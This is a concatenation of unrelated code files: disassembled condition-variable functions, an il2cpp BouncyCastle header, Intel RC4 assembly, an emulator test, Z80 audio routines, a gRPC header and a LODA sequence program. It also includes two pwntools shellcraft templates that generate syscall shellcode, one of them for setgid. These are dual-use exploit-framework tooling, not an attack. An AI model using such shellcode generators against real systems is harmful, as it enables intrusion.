f5b: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
f5f: 75 07 jne f68 <mesa_cond_wait+0x13>
return -1;
f61: b8 ff ff ff ff mov $0xffffffff,%eax
f66: eb 55 jmp fbd <mesa_cond_wait+0x68>
}
mCond->waitinCount++;
f68: 8b 45 08 mov 0x8(%ebp),%eax
f6b: 8b 40 04 mov 0x4(%eax),%eax
f6e: 8d 50 01 lea 0x1(%eax),%edx
f71: 8b 45 08 mov 0x8(%ebp),%eax
f74: 89 50 04 mov %edx,0x4(%eax)
if (kthread_mutex_unlock(mutex_id)<0 &&
f77: 8b 45 0c mov 0xc(%ebp),%eax
f7a: 89 04 24 mov %eax,(%esp)
f7d: e8 25 f4 ff ff call 3a7 <kthread_mutex_unlock>
f82: 85 c0 test %eax,%eax
f84: 79 27 jns fad <mesa_cond_wait+0x58>
kthread_mutex_lock(mCond->mutexCV)<0)
f86: 8b 45 08 mov 0x8(%ebp),%eax
f89: 8b 00 mov (%eax),%eax
f8b: 89 04 24 mov %eax,(%esp)
f8e: e8 0c f4 ff ff call 39f <kthread_mutex_lock>
if (!mCond){
return -1;
}
mCond->waitinCount++;
if (kthread_mutex_unlock(mutex_id)<0 &&
f93: 85 c0 test %eax,%eax
f95: 79 16 jns fad <mesa_cond_wait+0x58>
kthread_mutex_lock(mCond->mutexCV)<0)
{
mCond->waitinCount--;
f97: 8b 45 08 mov 0x8(%ebp),%eax
f9a: 8b 40 04 mov 0x4(%eax),%eax
f9d: 8d 50 ff lea -0x1(%eax),%edx
fa0: 8b 45 08 mov 0x8(%ebp),%eax
fa3: 89 50 04 mov %edx,0x4(%eax)
return -1;
fa6: b8 ff ff ff ff mov $0xffffffff,%eax
fab: eb 10 jmp fbd <mesa_cond_wait+0x68>
}
kthread_mutex_lock(mutex_id);
fad: 8b 45 0c mov 0xc(%ebp),%eax
fb0: 89 04 24 mov %eax,(%esp)
fb3: e8 e7 f3 ff ff call 39f <kthread_mutex_lock>
return 0;
fb8: b8 00 00 00 00 mov $0x0,%eax
}
fbd: c9 leave
fbe: c3 ret
00000fbf <mesa_cond_signal>:
int mesa_cond_signal(mesa_cond_t* mCond){
fbf: 55 push %ebp
fc0: 89 e5 mov %esp,%ebp
fc2: 83 ec 18 sub $0x18,%esp
if (!mCond){
fc5: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
fc9: 75 07 jne fd2 <mesa_cond_signal+0x13>
return -1;
fcb: b8 ff ff ff ff mov $0xffffffff,%eax
fd0: eb 5d jmp 102f <mesa_cond_signal+0x70>
}
if (mCond->waitinCount>0){
fd2: 8b 45 08 mov 0x8(%ebp),%eax
fd5: 8b 40 04 mov 0x4(%eax),%eax
fd8: 85 c0 test %eax,%eax
fda: 7e 36 jle 1012 <mesa_cond_signal+0x53>
mCond->waitinCount --;
fdc: 8b 45 08 mov 0x8(%ebp),%eax
fdf: 8b 40 04 mov 0x4(%eax),%eax
fe2: 8d 50 ff lea -0x1(%eax),%edx
fe5: 8b 45 08 mov 0x8(%ebp),%eax
fe8: 89 50 04 mov %edx,0x4(%eax)
if (kthread_mutex_unlock(mCond->mutexCV)>=0){
feb: 8b 45 08 mov 0x8(%ebp),%eax
fee: 8b 00 mov (%eax),%eax
ff0: 89 04 24 mov %eax,(%esp)
ff3: e8 af f3 ff ff call 3a7 <kthread_mutex_unlock>
ff8: 85 c0 test %eax,%eax
ffa: 78 16 js 1012 <mesa_cond_signal+0x53>
mCond->waitinCount ++;
ffc: 8b 45 08 mov 0x8(%ebp),%eax
fff: 8b 40 04 mov 0x4(%eax),%eax
1002: 8d 50 01 lea 0x1(%eax),%edx
1005: 8b 45 08 mov 0x8(%ebp),%eax
1008: 89 50 04 mov %edx,0x4(%eax)
return -1;
100b: b8 ff ff ff ff mov $0xffffffff,%eax
1010: eb 1d jmp 102f <mesa_cond_signal+0x70>
}
}
if (kthread_mutex_unlock(mCond->mutexCV)<0){
1012: 8b 45 08 mov 0x8(%ebp),%eax
1015: 8b 00 mov (%eax),%eax
1017: 89 04 24 mov %eax,(%esp)
101a: e8 88 f3 ff ff call 3a7 <kthread_mutex_unlock>
101f: 85 c0 test %eax,%eax
1021: 79 07 jns 102a <mesa_cond_signal+0x6b>
return -1;
1023: b8 ff ff ff ff mov $0xffffffff,%eax
1028: eb 05 jmp 102f <mesa_cond_signal+0x70>
}
return 0;
102a: b8 00 00 00 00 mov $0x0,%eax
}
102f: c9 leave
1030: c3 ret
|
// Autogenerated from CppHeaderCreator
// Created by Sc2ad
// =========================================================================
#pragma once
// Begin includes
#include "extern/beatsaber-hook/shared/utils/typedefs.h"
// Including type: Org.BouncyCastle.Asn1.Asn1Object
#include "Org/BouncyCastle/Asn1/Asn1Object.hpp"
#include "extern/beatsaber-hook/shared/utils/il2cpp-utils-methods.hpp"
#include "extern/beatsaber-hook/shared/utils/il2cpp-utils-properties.hpp"
#include "extern/beatsaber-hook/shared/utils/il2cpp-utils-fields.hpp"
#include "extern/beatsaber-hook/shared/utils/utils.h"
// Completed includes
// Begin forward declares
// Forward declaring namespace: Org::BouncyCastle::Asn1
namespace Org::BouncyCastle::Asn1 {
// Skipping declaration: Asn1Encodable because it is already included!
}
// Completed forward declares
// Type namespace: Org.BouncyCastle.Asn1
namespace Org::BouncyCastle::Asn1 {
// Size: 0x20
#pragma pack(push, 1)
// Autogenerated type: Org.BouncyCastle.Asn1.Asn1TaggedObject
class Asn1TaggedObject : public Org::BouncyCastle::Asn1::Asn1Object {
public:
// System.Int32 tagNo
// Size: 0x4
// Offset: 0x10
int tagNo;
// Field size check
static_assert(sizeof(int) == 0x4);
// System.Boolean explicitly
// Size: 0x1
// Offset: 0x14
bool explicitly;
// Field size check
static_assert(sizeof(bool) == 0x1);
// Padding between fields: explicitly and: obj
char __padding1[0x3] = {};
// Org.BouncyCastle.Asn1.Asn1Encodable obj
// Size: 0x8
// Offset: 0x18
Org::BouncyCastle::Asn1::Asn1Encodable* obj;
// Field size check
static_assert(sizeof(Org::BouncyCastle::Asn1::Asn1Encodable*) == 0x8);
// Creating value type constructor for type: Asn1TaggedObject
Asn1TaggedObject(int tagNo_ = {}, bool explicitly_ = {}, Org::BouncyCastle::Asn1::Asn1Encodable* obj_ = {}) noexcept : tagNo{tagNo_}, explicitly{explicitly_}, obj{obj_} {}
// static public Org.BouncyCastle.Asn1.Asn1TaggedObject GetInstance(Org.BouncyCastle.Asn1.Asn1TaggedObject obj, System.Boolean explicitly)
// Offset: 0x16DFF68
static Org::BouncyCastle::Asn1::Asn1TaggedObject* GetInstance(Org::BouncyCastle::Asn1::Asn1TaggedObject* obj, bool explicitly);
// static public Org.BouncyCastle.Asn1.Asn1TaggedObject GetInstance(System.Object obj)
// Offset: 0x16E0010
static Org::BouncyCastle::Asn1::Asn1TaggedObject* GetInstance(::Il2CppObject* obj);
// protected System.Void .ctor(System.Int32 tagNo, Org.BouncyCastle.Asn1.Asn1Encodable obj)
// Offset: 0x16E011C
template<::il2cpp_utils::CreationType creationType = ::il2cpp_utils::CreationType::Temporary>
static Asn1TaggedObject* New_ctor(int tagNo, Org::BouncyCastle::Asn1::Asn1Encodable* obj) {
static auto ___internal__logger = ::Logger::get().WithContext("Org::BouncyCastle::Asn1::Asn1TaggedObject::.ctor");
return THROW_UNLESS((::il2cpp_utils::New<Asn1TaggedObject*, creationType>(tagNo, obj)));
}
// protected System.Void .ctor(System.Boolean explicitly, System.Int32 tagNo, Org.BouncyCastle.Asn1.Asn1Encodable obj)
// Offset: 0x16E0164
template<::il2cpp_utils::CreationType creationType = ::il2cpp_utils::CreationType::Temporary>
static Asn1TaggedObject* New_ctor(bool explicitly, int tagNo, Org::BouncyCastle::Asn1::Asn1Encodable* obj) {
static auto ___internal__logger = ::Logger::get().WithContext("Org::BouncyCastle::Asn1::Asn1TaggedObject::.ctor");
return THROW_UNLESS((::il2cpp_utils::New<Asn1TaggedObject*, creationType>(explicitly, tagNo, obj)));
}
// public System.Int32 get_TagNo()
// Offset: 0x16E0360
int get_TagNo();
// public System.Boolean IsExplicit()
// Offset: 0x16E0368
bool IsExplicit();
// public System.Boolean IsEmpty()
// Offset: 0x16E0370
bool IsEmpty();
// public Org.BouncyCastle.Asn1.Asn1Object GetObject()
// Offset: 0x16DD2D4
Org::BouncyCastle::Asn1::Asn1Object* GetObject();
// protected override System.Boolean Asn1Equals(Org.BouncyCastle.Asn1.Asn1Object asn1Object)
// Offset: 0x16E0200
// Implemented from: Org.BouncyCastle.Asn1.Asn1Object
// Base method: System.Boolean Asn1Object::Asn1Equals(Org.BouncyCastle.Asn1.Asn1Object asn1Object)
bool Asn1Equals(Org::BouncyCastle::Asn1::Asn1Object* asn1Object);
// protected override System.Int32 Asn1GetHashCode()
// Offset: 0x16E031C
// Implemented from: Org.BouncyCastle.Asn1.Asn1Object
// Base method: System.Int32 Asn1Object::Asn1GetHashCode()
int Asn1GetHashCode();
// public override System.String ToString()
// Offset: 0x16E0378
// Implemented from: System.Object
// Base method: System.String Object::ToString()
::Il2CppString* ToString();
}; // Org.BouncyCastle.Asn1.Asn1TaggedObject
#pragma pack(pop)
static check_size<sizeof(Asn1TaggedObject), 24 + sizeof(Org::BouncyCastle::Asn1::Asn1Encodable*)> __Org_BouncyCastle_Asn1_Asn1TaggedObjectSizeCheck;
static_assert(sizeof(Asn1TaggedObject) == 0x20);
}
DEFINE_IL2CPP_ARG_TYPE(Org::BouncyCastle::Asn1::Asn1TaggedObject*, "Org.BouncyCastle.Asn1", "Asn1TaggedObject");
|
###############################################################################
# Copyright 2019 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.section .note.GNU-stack,"",%progbits
.text
.p2align 5, 0x90
.globl l9_ARCFourProcessData
.type l9_ARCFourProcessData, @function
l9_ARCFourProcessData:
push %rbx
push %rbp
movslq %edx, %r8
test %r8, %r8
mov %rcx, %rbp
jz .Lquitgas_1
movzbq (4)(%rbp), %rax
movzbq (8)(%rbp), %rbx
lea (12)(%rbp), %rbp
add $(1), %rax
movzbq %al, %rax
movzbq (%rbp,%rax,4), %rcx
.p2align 5, 0x90
.Lmain_loopgas_1:
add %rcx, %rbx
movzbq %bl, %rbx
add $(1), %rdi
add $(1), %rsi
movzbq (%rbp,%rbx,4), %rdx
movl %ecx, (%rbp,%rbx,4)
add %rdx, %rcx
movzbq %cl, %rcx
movl %edx, (%rbp,%rax,4)
movb (%rbp,%rcx,4), %dl
add $(1), %rax
movzbq %al, %rax
xorb (-1)(%rdi), %dl
sub $(1), %r8
movzbq (%rbp,%rax,4), %rcx
movb %dl, (-1)(%rsi)
jne .Lmain_loopgas_1
lea (-12)(%rbp), %rbp
sub $(1), %rax
movzbq %al, %rax
movl %eax, (4)(%rbp)
movl %ebx, (8)(%rbp)
.Lquitgas_1:
vzeroupper
pop %rbp
pop %rbx
ret
.Lfe1:
.size l9_ARCFourProcessData, .Lfe1-(l9_ARCFourProcessData)
|
%ifdef CONFIG
{
"RegData": {
"RAX": "0x0000000000000053",
"RBX": "0x0000000000000029",
"RCX": "0x0000000000000005",
"RDX": "0x0000000000000009",
"RSI": "0x000000000000001d",
"RSP": "0x0000000000000028",
"RBP": "0x0000000000000020",
"R8": "0x000000000000005a",
"R9": "0x0000000000000062",
"R10": "0x000000000000005a",
"R11": "0x0000000000000040",
"R12": "0x0000000000000023",
"R13": "0x0000000000000005",
"R14": "0x0000000000000021",
"R15": "0x000000000000003a"
}
}
%endif
lea r15, [rel .data]
movapd xmm0, [r15 + 16 * 0]
movapd xmm1, [r15 + 16 * 1]
movapd xmm2, [r15 + 16 * 2]
movapd xmm3, [r15 + 16 * 3]
movapd xmm4, [r15 + 16 * 4]
movapd xmm5, [r15 + 16 * 5]
movapd xmm6, [r15 + 16 * 6]
movapd xmm7, [r15 + 16 * 7]
movapd xmm8, [r15 + 16 * 8]
movapd xmm9, [r15 + 16 * 9]
movapd xmm10, [r15 + 16 * 10]
movapd xmm11, [r15 + 16 * 11]
movapd xmm12, [r15 + 16 * 12]
movapd xmm13, [r15 + 16 * 13]
movapd xmm14, [r15 + 16 * 14]
movapd xmm15, [r15 + 16 * 15]
cvttsd2si eax, xmm0
cvttsd2si ebx, xmm1
cvttsd2si ecx, xmm2
cvttsd2si edx, xmm3
cvttsd2si esi, xmm4
cvttsd2si edi, xmm5
cvttsd2si esp, xmm6
cvttsd2si ebp, xmm7
cvttsd2si r8, xmm8
cvttsd2si r9, xmm9
cvttsd2si r10, xmm10
cvttsd2si r11, xmm11
cvttsd2si r12, xmm12
cvttsd2si r13, xmm13
cvttsd2si r14, xmm14
cvttsd2si r15, xmm15
hlt
align 16
; 512bytes of random data
.data:
dq 83.0999,69.50512,41.02678,13.05881,5.35242,21.9932,9.67383,5.32372,29.02872,66.50151,19.30764,91.3633,40.45086,50.96153,32.64489,23.97574,90.64316,24.22547,98.9394,91.21715,90.80143,99.48407,64.97245,74.39838,35.22761,25.35321,5.8732,90.19956,33.03133,52.02952,58.38554,10.17531,47.84703,84.04831,90.02965,65.81329,96.27991,6.64479,25.58971,95.00694,88.1929,37.16964,49.52602,10.27223,77.70605,20.21439,9.8056,41.29389,15.4071,57.54286,9.61117,55.54302,52.90745,4.88086,72.52882,3.0201,56.55091,71.22749,61.84736,88.74295,47.72641,24.17404,33.70564,96.71303
|
<%
import collections
import pwnlib.abi
import pwnlib.constants
import pwnlib.shellcraft
import six
%>
<%docstring>arm_fadvise64_64(fd, advice, offset, length) -> str
Invokes the syscall arm_fadvise64_64.
See 'man 2 arm_fadvise64_64' for more information.
Arguments:
fd(int): fd
advice(int): advice
offset(loff_t): offset
length(loff_t): length
Returns:
long
</%docstring>
<%page args="fd=0, advice=0, offset=0, length=0"/>
<%
abi = pwnlib.abi.ABI.syscall()
stack = abi.stack
regs = abi.register_arguments[1:]
allregs = pwnlib.shellcraft.registers.current()
can_pushstr = []
can_pushstr_array = []
argument_names = ['fd', 'advice', 'offset', 'length']
argument_values = [fd, advice, offset, length]
# Load all of the arguments into their destination registers / stack slots.
register_arguments = dict()
stack_arguments = collections.OrderedDict()
string_arguments = dict()
dict_arguments = dict()
array_arguments = dict()
syscall_repr = []
for name, arg in zip(argument_names, argument_values):
if arg is not None:
syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))
# If the argument itself (input) is a register...
if arg in allregs:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[index] = arg
# The argument is not a register. It is a string value, and we
# are expecting a string value
elif name in can_pushstr and isinstance(arg, (six.binary_type, six.text_type)):
if isinstance(arg, six.text_type):
arg = arg.encode('utf-8')
string_arguments[name] = arg
# The argument is not a register. It is a dictionary, and we are
# expecting K:V paris.
elif name in can_pushstr_array and isinstance(arg, dict):
array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]
# The arguent is not a register. It is a list, and we are expecting
# a list of arguments.
elif name in can_pushstr_array and isinstance(arg, (list, tuple)):
array_arguments[name] = arg
# The argument is not a register, string, dict, or list.
# It could be a constant string ('O_RDONLY') for an integer argument,
# an actual integer value, or a constant.
else:
index = argument_names.index(name)
if index < len(regs):
target = regs[index]
register_arguments[target] = arg
elif arg is not None:
stack_arguments[target] = arg
# Some syscalls have different names on various architectures.
# Determine which syscall number to use for the current architecture.
for syscall in ['SYS_arm_fadvise64_64']:
if hasattr(pwnlib.constants, syscall):
break
else:
raise Exception("Could not locate any syscalls: %r" % syscalls)
%>
/* arm_fadvise64_64(${', '.join(syscall_repr)}) */
%for name, arg in string_arguments.items():
${pwnlib.shellcraft.pushstr(arg, append_null=(b'\x00' not in arg))}
${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}
%endfor
%for name, arg in array_arguments.items():
${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}
%endfor
%for name, arg in stack_arguments.items():
${pwnlib.shellcraft.push(arg)}
%endfor
${pwnlib.shellcraft.setregs(register_arguments)}
${pwnlib.shellcraft.syscall(syscall)}
|
IF (CPU = EMUL)
XCE1noCh1Reload ;(116)
ld a,(hl) ;7
ld a,(hl) ;7
jr _zz ;12
_zz jp CE1noCh1Reload ;10 (152)
ENDIF
XC0noCh1Reload ;(116)
ld a,(hl) ;7
ld a,(hl) ;7
jr _zz ;12
_zz jp C0noCh1Reload ;10 (152)
XC1noCh1Reload ;60
ld a,(hl) ;7
ld a,(hl) ;7
nop ;4 (78)
dw outhi ;12
jr _ab ;12
_ab dw outlo ;12 (114)
pop hl ;10
push hl ;11
ld a,(hl) ;7
jp C1noCh1Reload ;10 (152)
XC2noCh1Reload ;60
ld a,(hl) ;7
ld a,(hl) ;7
nop ;4 (78)
dw outhi ;12
ds 2 ;8
jr _ab ;12
_ab dw outlo ;12 (114)
ds 2 ;8
jr _ac ;12
_ac jp C2noCh1Reload ;10 (152)
XC3noCh1Reload ;60
ld a,(hl) ;7
ld a,(hl) ;7
nop ;4 (78)
dw outhi ;12__
nop ;4
jr _ab ;12
_ab jr _bc ;12
_bc dw outlo ;12__40 (114)
jr _ac ;12
_ac jp C3noCh1Reload ;10 (152)
XC4noCh1Reload ;(22)
ex (sp),hl ;19
ex (sp),hl ;19
ld a,(hl) ;7
ld a,(hl) ;7
nop ;4 (78)
dw outhi ;12__
jr _ab ;12
_ab jr _bc ;12
_bc jr _ac ;12
_ac dw outlo ;12__48 (114)
nop ;4
jp C4noCh1Reload ;10 (152)
XC5noCh1Reload ;(22)
ex (sp),hl ;19
ex (sp),hl ;19
ld a,(hl) ;7
ld a,(hl) ;7
nop ;4 (78)
dw outhi ;12
jr _ab ;12
_ab jr _bc ;12
_bc jr _ac ;12
_ac jp C5noCh1Reload ;10 (136)
XC5noCh3Reload
ld a,(hl) ;7
ld a,(hl) ;7
ds 2 ;8
dw outlo ;12__56
ex (sp),hl ;19
ex (sp),hl ;19
pop af ;10
push af ;11
ld a,(hl) ;7
nop ;4
jp C5noCh3Reload ;10 (+12+10+4=140)
XC6noCh1Reload ;(22)
ex (sp),hl ;19
ex (sp),hl ;19
ld a,(hl) ;7
ld a,(hl) ;7 (74)
dw outhi ;12
jr _ab ;12
_ab jr _bc ;12
_bc jr _ac ;12
_ac jp C6noCh1Reload ;10 (132)
XC6noCh3Reload
ld a,(hl) ;7
ld a,(hl) ;7
nop ;4
jp _aa ;12
_aa dw outlo ;12__64
ex (sp),hl ;19
ex (sp),hl ;19
ret nc ;5
ret nc ;5
ld a,(hl) ;7
jp C6noCh3Reload ;10 (+12+10+4=133)
XC7noCh1Reload ;(22)
ex (sp),hl ;19
ex (sp),hl ;19
ld a,(hl) ;7
ld a,(hl) ;7 (74)
dw outhi ;12
jr _ab ;12
_ab jr _bc ;12
_bc jr _ac ;12
_ac jp C7noCh1Reload ;10 (132)
XC7noCh2Reload ;(98)
jr _aa ;12
_aa jp C7noCh2Reload ;10 (120)
XC7noCh3Reload ;(22)
ld a,(hl) ;7
ld a,(hl) ;7
jr _aa ;12
_aa jr _bb ;12
_bb dw outlo ;12__72
ex (sp),hl ;19
ex (sp),hl ;19
ld a,(hl) ;7
ld a,(hl) ;7
jp C7noCh3Reload ;10 (134)
XC8noCh1Reload ;(22)
ex (sp),hl ;19
ex (sp),hl ;19
ld a,(hl) ;7
ld a,(hl) ;7 (74)
dw outhi ;12
jr _ab ;12
_ab jr _bc ;12
_bc jr _ac ;12
_ac jp C8noCh1Reload ;10 (132)
XC8noCh2Reload ;(106)
nop ;4
jp C8noCh2Reload ;10 (120)
XC8noCh3Reload ;(22)
ex (sp),hl ;19
ex (sp),hl ;19
ds 2 ;8
dw outlo ;12__80
ex (sp),hl ;19
ex (sp),hl ;19
ret nc ;5
jp C8noCh3Reload ;10 (+4=137)
XC9noCh1Reload ;(22)
ex (sp),hl ;19
ex (sp),hl ;19
ld a,(hl) ;7
ld a,(hl) ;7 (74)
dw outhi ;12
jr _ab ;12
_ab jr _bc ;12
_bc jr _ac ;12
_ac jp C9noCh1Reload ;10 (132)
XC9noCh3Reload ;(22)
ex (sp),hl ;19
ex (sp),hl ;19
nop ;4
jr _aa ;12
_aa dw outlo ;12__88
nop ;4
pop af ;10
push af ;11
jp _cc ;10
_cc jp C9noCh3Reload ;10 (+4=137)
XC10noCh1Reload ;(22)
ex (sp),hl ;19
ex (sp),hl ;19
ld a,(hl) ;7
ld a,(hl) ;7 (74)
dw outhi ;12
jr _ab ;12
_ab jr _bc ;12
_bc jr _ac ;12
_ac jp C10noCh1Reload ;10 (132)
XC10noCh3Reload ;(22)
ex (sp),hl ;19
ex (sp),hl ;19
jr _aa ;12
_aa jr _bb ;12
_bb dw outlo ;12__96
pop af ;10
push af ;11
jp _cc ;10
_cc jp C10noCh3Reload ;10 (137)
XC11noCh1Reload ;(22)
ex (sp),hl ;19
ex (sp),hl ;19
ld a,(hl) ;7
ld a,(hl) ;7 (74)
dw outhi ;12
jr _ab ;12
_ab jr _bc ;12
_bc jr _ac ;12
_ac jp C11noCh1Reload ;10 (132)
XC11noCh3Reload ;(22)
ex (sp),hl ;19
ex (sp),hl ;19
jr _aa ;12
_aa jr _bb ;12
_bb ds 2 ;8
dw outlo ;12__104
ld a,(hl) ;7
ld a,(hl) ;7
ret nc ;5
jp C11noCh3Reload ;10 (+4=137)
XC12noCh1Reload ;(43)
ex (sp),hl ;19
ex (sp),hl ;19
ds 2 ;8
jr _aa ;12 (101)
_aa dw outhi ;12
jr _ab ;12
_ab jr _bc ;12
_bc jr _ac ;12
_ac jp C12noCh1Reload ;10 (159)
XC12noCh2Reload ;(__101/41)
ld a,(hl) ;7
nop ;4
dw outlo ;12__121 TODO: should be 112
ex (sp),hl ;19
ex (sp),hl ;19
ds 2 ;8
jp C12noCh2Reload ;10 (120)
XC12noCh3Reload ;(22)
ex (sp),hl ;19
ex (sp),hl ;19
nop ;4
jr _aa ;12
_aa jr _bb ;12
_bb jr _cc ;12
_cc dw outlo ;12__112
jp _dd ;10
_dd jp C12noCh3Reload ;10 (+4=137)
XC13noCh1Reload ;(43)
ex (sp),hl ;19
ex (sp),hl ;19
jr _aa ;12 (101)
_aa dw outhi ;12
jr _ab ;12
_ab jr _bc ;12
_bc jr _ac ;12
_ac jp C13noCh1Reload ;10 (159)
XC13noCh2Reload ;(__101/41)
ld a,(hl) ;7
dw outlo ;12__120
ex (sp),hl ;19
ex (sp),hl ;19
jr _aa ;12
_aa jp C13noCh2Reload ;10 (120)
XC13noCh3Reload ;(22)
ex (sp),hl ;19
ex (sp),hl ;19
ex (sp),hl ;19
ex (sp),hl ;19
ds 2 ;8
jp C13noCh3Reload ;10 (116)
XC14noCh1Reload ;(29)
ds 2 ;8 (37)
dw outlo ;12__128
ex (sp),hl ;19
ex (sp),hl ;19
ld a,(hl) ;7
ld a,(hl) ;7 (101)
dw outhi ;12
jr _ab ;12
_ab jr _bc ;12
_bc jr _ac ;12
_ac jp C14noCh1Reload ;10 (159)
XC14noCh2Reload ;(__101/41)
ld a,(hl) ;7
dw outlo ;12__128
ld a,(hl) ;7
ld a,(hl) ;7
ld a,(hl) ;7
ret po ;5
jr _aa ;12
_aa jr _bb ;12
_bb jp C14noCh2Reload ;10 (120)
XC14noCh3Reload ;(22)
ex (sp),hl ;19
ex (sp),hl ;19
ex (sp),hl ;19
ex (sp),hl ;19
ds 2 ;8
jp C14noCh3Reload ;10 (116)
XC15noCh1Reload ;(29)
jr _aa ;12
_aa nop ;4
dw outlo ;12__136
ld a,(hl) ;7
ld a,(hl) ;7
ld a,(hl) ;7
ld a,(hl) ;7
ld a,(hl) ;7
ret nz ;5
nop ;4
dw outhi ;12
jr _ab ;12
_ab jr _bc ;12
_bc jr _ac ;12
_ac jp C15noCh1Reload ;10 (159)
XC15noCh2Reload ;(__101/41)
ld a,(hl) ;7
jr _aa ;12
_aa nop ;4
dw outlo ;12__136
ld a,(hl) ;7
ld a,(hl) ;7
ds 2 ;8
jr _bb ;12
_bb jp C15noCh2Reload ;10 (120)
XC15noCh3Reload ;(22)
ex (sp),hl ;19
ex (sp),hl ;19
ex (sp),hl ;19
ex (sp),hl ;19
ds 2 ;8
jp C15noCh3Reload ;10 (116)
XC16noCh1Reload ;(29)
jr _aa ;12
_aa jr _bb ;12
_bb dw outlo ;12__144
ld a,(hl) ;7
ld a,(hl) ;7
ld a,(hl) ;7
ld a,(hl) ;7
ds 2 ;8
dw outhi ;12
jr _ab ;12
_ab jr _bc ;12
_bc jr _ac ;12
_ac jp C16noCh1Reload ;10 (159)
XC16noCh2Reload ;(__101/41)
ld a,(hl) ;7
jr _aa ;12
_aa jr _ab ;12
_ab dw outlo ;12__144
ld a,(hl) ;7
ld a,(hl) ;7
jr _bb ;12
_bb jp C16noCh2Reload ;10 (120)
XC16noCh3Reload ;(22)
ex (sp),hl ;19
ex (sp),hl ;19
ex (sp),hl ;19
ex (sp),hl ;19
ds 2 ;8
jp C16noCh3Reload ;10 (116)
XC17noCh1Reload ;(29)
jr _aa ;12
_aa jr _bb ;12
_bb ds 2 ;8
dw outlo ;12__152
ld a,(hl) ;7
ld a,(hl) ;7
ld a,(hl) ;7
ld a,(hl) ;7
dw outhi ;12
jr _ab ;12
_ab jr _bc ;12
_bc jr _ac ;12
_ac jp C17noCh1Reload ;10 (159)
XC17noCh2Reload ;(__101/41)
ld a,(hl) ;7
jr _aa ;12
_aa jr _ab ;12
_ab ds 2 ;8
dw outlo ;12__152
ld a,(hl) ;7
ld a,(hl) ;7
nop ;4
jp C17noCh2Reload ;10 (120)
XC18noCh1Reload ;(29)
jr _aa ;12
_aa jr _bb ;12
_bb jr _cc ;12
_cc nop ;4
dw outlo ;12__160
jr _dd ;12
_dd ds 2 ;8
dw outhi ;12
jr _ab ;12
_ab jr _bc ;12
_bc jr _ac ;12
_ac jp C18noCh1Reload ;10 (159)
XC18noCh2Reload ;(__101/41)
ld a,(hl) ;7
jr _aa ;12
_aa jr _ab ;12
_ab jr _ac ;12
_ac nop ;4
dw outlo ;12__160
jp _ad ;10
_ad jp C18noCh2Reload ;10 (120)
XC19noCh1Reload ;(29)
jr _aa ;12
_aa jr _bb ;12
_bb jr _cc ;12
_cc jr _cd ;12
_cd dw outlo ;12__168
jr _dd ;12
_dd dw outhi ;12
jr _ab ;12
_ab jr _bc ;12
_bc jr _ac ;12
_ac jp C19noCh1Reload ;10 (159)
XC19noCh2Reload ;(__101/41)
ld a,(hl) ;7
jr _aa ;12
_aa jr _ab ;12
_ab jr _ac ;12
_ac nop ;4
jp _ad ;10
_ad dw outlo ;12__170 hmmm
jp C19noCh2Reload ;10 (120)
IF (CPU != EMUL)
XC20noCh1Reload ;(29)
jr _aa ;12
_aa jr _bb ;12
_bb jr _cc ;12
_cc jr _cd ;12
_cd ds 2 ;8
dw outlo ;12__176
nop ;4
dw outhi ;12
jr _ab ;12
_ab jr _bc ;12
_bc jr _ac ;12
_ac jp C20noCh1Reload ;10 (159)
ENDIF
|
<%
from pwnlib.shellcraft.aarch64.linux import syscall
%>
<%page args="gid"/>
<%docstring>
Invokes the syscall setgid. See 'man 2 setgid' for more information.
Arguments:
gid(gid_t): gid
</%docstring>
${syscall('SYS_setgid', gid)}
|
#ifndef TRANSPORTSERVICE_HPP
#define TRANSPORTSERVICE_HPP
#include <grpcpp/grpcpp.h>
#include "../../common/datatypes.grpc.pb.h"
#include "dataparser.hpp"
namespace economy
{
namespace server
{
class TransportServiceImpl final : public TransportService::Service
{
public:
explicit TransportServiceImpl(DataParser *parser): parser_(parser) {}
grpc::Status GetData(grpc::ServerContext *context,
const DataRequest *request,
DataReply *reply) override;
grpc::Status ChangeCurrency(grpc::ServerContext *context,
const CurrencyRequest *request,
CurrencyReply *response) override;
private:
DataParser *parser_;
};
}
}
#endif |
; A161498: Expansion of x*(1-x)*(1+x)/(1-13*x+36*x^2-13*x^3+x^4).
; Submitted by Jon Maiga
; 1,13,132,1261,11809,109824,1018849,9443629,87504516,810723277,7510988353,69584925696,644660351425,5972359368781,55329992188548,512595960817837,4748863783286881,43995092132369664,407585519020921249,3776011063728579949,34982252477655893124,324087500570437339021,3002456976529523872897,27815783945493864173568,257694895391295404346241,2387373271243374519261325,22117439026392124904316036,204903487434477487455028333,1898295689328863413706042017,17586457747705889079034373376
mul $0,2
add $0,2
seq $0,3757 ; Number of perfect matchings (or domino tilings) in D_4 X P_(n-1).
|
/*
* Copyright (C) 2003, 2008 Apple Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
